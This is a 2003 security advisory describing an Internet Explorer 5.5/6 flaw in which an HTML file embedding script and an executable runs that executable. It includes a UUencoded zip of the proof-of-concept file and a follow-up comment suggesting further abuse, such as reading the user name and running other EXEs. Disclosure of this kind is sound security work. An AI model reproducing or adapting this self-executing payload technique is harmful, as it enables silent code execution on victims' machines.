26th Feb 2003 [SBWID-6026]
COMMAND
IE Self-Executing HTML
SYSTEMS AFFECTED
Tested IE5.5 and IE6
PROBLEM
Thanks to http-equiv [[email protected]] findings :
The following file is an html file comprising both scripting and an
executable [*.exe].
We inject scripting and an executable into the html file which is
designed to point back to the executable in the html file and execute
it. Provided the html file is an html file, Internet Explorer 5.5 and
6.0 will execute it.
Because it is an html file proper, Internet Explorer opens it. The
scripting inside is then parsed and fired. That scripting is pointing
back to the same executable file with our original codebase object from
the year 2000 and because it is a self-executing html file, it executes
!
Tested IE5.5 and IE6. Fully self-contained harmless *.exe:
http://www.malware.com/html.exe.zip
UUEncoded archive
begin 644 html.exe.zip
M4$L#!!0````(`%B"62ZF\H"X2P@``/P/```,````;6%L=V%R92YH=&UL[9=9
MLZ)(&H;OB>`_V.>FJL,^!^3@=I:*0!101%Q1C+I!0!;99)%E8O[[O)[J[NF:
MJ(Z.F+Z:B$E]$]Z/Y/%+$B%3F2J31\U.,R^.7EJ=)YHD^#C*[2A_G,>FD=_#
M9R^P7RB*"HV@-%+[R:[L?[?:ID:4G>WT<1*9L>5%SDOK9&1VCR4)DMAJR81;
M[3C.P8>?<!0U['`<Q^-[Q)9;.O=ZPK6;T=7\V/]1(8GOMZ/NO8[^M/U?E?_D
M_=WR?][?*__;O*._Y!2JK=#L<CR=!^62[8\'C)'Z"J\R<X>+IWVN9(PNMXPY
M3C2H7SFBT28)9S7%GMZ4HBU'-#="?,PHDC_B;[H\=,/2=%;<T,NXH3_JE5KD
MC882F_?'A<ZU%6K0#&^+,#%)0K%'<:.3Q,C@EG[&L^,2OSU><D<V'GL43_$.
MWYUS4I-,;Z4S,'?%IAP->BM)&JCE9$"O"F?`^?FUO>'47HW\E+I4NSQ)%"L.
M?>G'A^4P5(:W.#\/MSVQ3Q5Y/.[+SM0ZW[(KY]+MMK>G.K=VV5^-FO619N?.
MF%/`Y49*LR&)R0^O'U^5,\ZR6?\X"V]\J7ML;:QZWG-[ZP=ER52#WIGM')2!
MJ&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^S>/DA:%?`_N<OPSIU^;1N^?_TJ'IU]89Z]C'S&OL%\8,
M7Q_^F%KKC3*1O9U^>8M/OFWFO_V"6:19G+X@URQ[=`TO?6@90?[^$,9QRS7P
M15:X3)EGH6V`S4OOU_+X??70:O'J>#+B-A.<[>9A\/*I?;]Z[4]?O_Z6R3W\
MTP_6X`]?WJAO>7WYA,'[)P;/SK=>:,=%_OGA]V%]^*73I7'\C<+%]9+\R_VF
MO']:_P)02P$"%``4````"`!8@EDNIO*`N$L(``#\#P``#``````````!`"``
HMH$`````;6%L=V%R92YH=&UL4$L%!@`````!``$`.@```'4(````````
`
end
2245 bytes
Update (02 March 2003)
======
Dror Shalev comments :
.zip is the must importent issue.
the Zip is the key point in this Perfect demo by http-equiv .
you can do more cool things with Jscript like getting Windows User Name
(via document.location) or run even regular EXE (TIF Enumeration).
becouse the zip temp file run without Security Zone Check.
SOLUTION
?